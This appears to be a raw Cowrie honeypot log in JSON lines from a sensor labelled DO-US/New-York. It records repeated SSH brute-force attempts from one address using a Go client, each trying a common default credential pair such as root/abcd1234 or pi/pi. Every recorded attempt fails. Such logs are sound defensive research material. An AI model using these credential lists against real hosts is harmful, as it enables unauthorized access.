{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:42.717908Z","src_ip":"87.251.64.176","session":"aab2633f0290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:42.816777Z","src_ip":"87.251.64.176","session":"aab2633f0290","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49266,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a2f82c839ad","protocol":"ssh","message":"New connection: 45.153.34.114:49266 (159.203.135.109:22) [session: 4a2f82c839ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:43.375374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:43.380356Z","src_ip":"45.153.34.114","session":"4a2f82c839ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:43.464187Z","src_ip":"45.153.34.114","session":"4a2f82c839ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:43.717458Z","src_ip":"45.153.34.114","session":"4a2f82c839ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:44.813980Z","src_ip":"45.153.34.114","session":"4a2f82c839ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40818,"dst_ip":"159.203.135.109","dst_port":22,"session":"59342a75a266","protocol":"ssh","message":"New connection: 45.153.34.114:40818 (159.203.135.109:22) [session: 59342a75a266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:51.428361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:51.433510Z","src_ip":"45.153.34.114","session":"59342a75a266","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:51.517491Z","src_ip":"45.153.34.114","session":"59342a75a266","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:51.787691Z","src_ip":"45.153.34.114","session":"59342a75a266","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:52.878411Z","src_ip":"45.153.34.114","session":"59342a75a266","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40850,"dst_ip":"159.203.135.109","dst_port":22,"session":"564ddf931130","protocol":"ssh","message":"New connection: 45.153.34.114:40850 (159.203.135.109:22) [session: 564ddf931130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:59.220071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:59.225383Z","src_ip":"45.153.34.114","session":"564ddf931130","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:59.326448Z","src_ip":"45.153.34.114","session":"564ddf931130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:59.579637Z","src_ip":"45.153.34.114","session":"564ddf931130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:00.687828Z","src_ip":"45.153.34.114","session":"564ddf931130","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51068,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4e7849fc0fa","protocol":"ssh","message":"New connection: 45.153.34.114:51068 (159.203.135.109:22) [session: b4e7849fc0fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:07.442642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:07.522362Z","src_ip":"45.153.34.114","session":"b4e7849fc0fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:07.550304Z","src_ip":"45.153.34.114","session":"b4e7849fc0fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:07.859784Z","src_ip":"45.153.34.114","session":"b4e7849fc0fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:08.960726Z","src_ip":"45.153.34.114","session":"b4e7849fc0fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50880,"dst_ip":"159.203.135.109","dst_port":22,"session":"dff7f39b3dbf","protocol":"ssh","message":"New connection: 45.153.34.114:50880 (159.203.135.109:22) [session: dff7f39b3dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:15.067969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:15.072381Z","src_ip":"45.153.34.114","session":"dff7f39b3dbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:15.160014Z","src_ip":"45.153.34.114","session":"dff7f39b3dbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:15.424465Z","src_ip":"45.153.34.114","session":"dff7f39b3dbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:16.579626Z","src_ip":"45.153.34.114","session":"dff7f39b3dbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57052,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6f6b1f09162","protocol":"ssh","message":"New connection: 45.153.34.114:57052 (159.203.135.109:22) [session: e6f6b1f09162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:23.469407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:23.474135Z","src_ip":"45.153.34.114","session":"e6f6b1f09162","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:23.558225Z","src_ip":"45.153.34.114","session":"e6f6b1f09162","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":56948,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ed80b9fac34","protocol":"telnet","message":"New connection: 74.91.213.120:56948 (159.203.135.109:23) [session: 1ed80b9fac34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:23.770877Z"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:23.811003Z","src_ip":"45.153.34.114","session":"e6f6b1f09162","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:24.904616Z","src_ip":"45.153.34.114","session":"e6f6b1f09162","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55704,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8a8e9aedb29","protocol":"ssh","message":"New connection: 45.153.34.114:55704 (159.203.135.109:22) [session: a8a8e9aedb29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:30.982126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:30.986544Z","src_ip":"45.153.34.114","session":"a8a8e9aedb29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:31.072777Z","src_ip":"45.153.34.114","session":"a8a8e9aedb29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:31.327571Z","src_ip":"45.153.34.114","session":"a8a8e9aedb29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:32.421710Z","src_ip":"45.153.34.114","session":"a8a8e9aedb29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55710,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c13c0e37458","protocol":"ssh","message":"New connection: 45.153.34.114:55710 (159.203.135.109:22) [session: 3c13c0e37458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:38.783813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:38.789489Z","src_ip":"45.153.34.114","session":"3c13c0e37458","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:38.877141Z","src_ip":"45.153.34.114","session":"3c13c0e37458","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:39.222010Z","src_ip":"45.153.34.114","session":"3c13c0e37458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:40.308645Z","src_ip":"45.153.34.114","session":"3c13c0e37458","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":33870,"dst_ip":"159.203.135.109","dst_port":22,"session":"bccfadd496d2","protocol":"ssh","message":"New connection: 45.153.34.114:33870 (159.203.135.109:22) [session: bccfadd496d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:59:46.948306Z"}
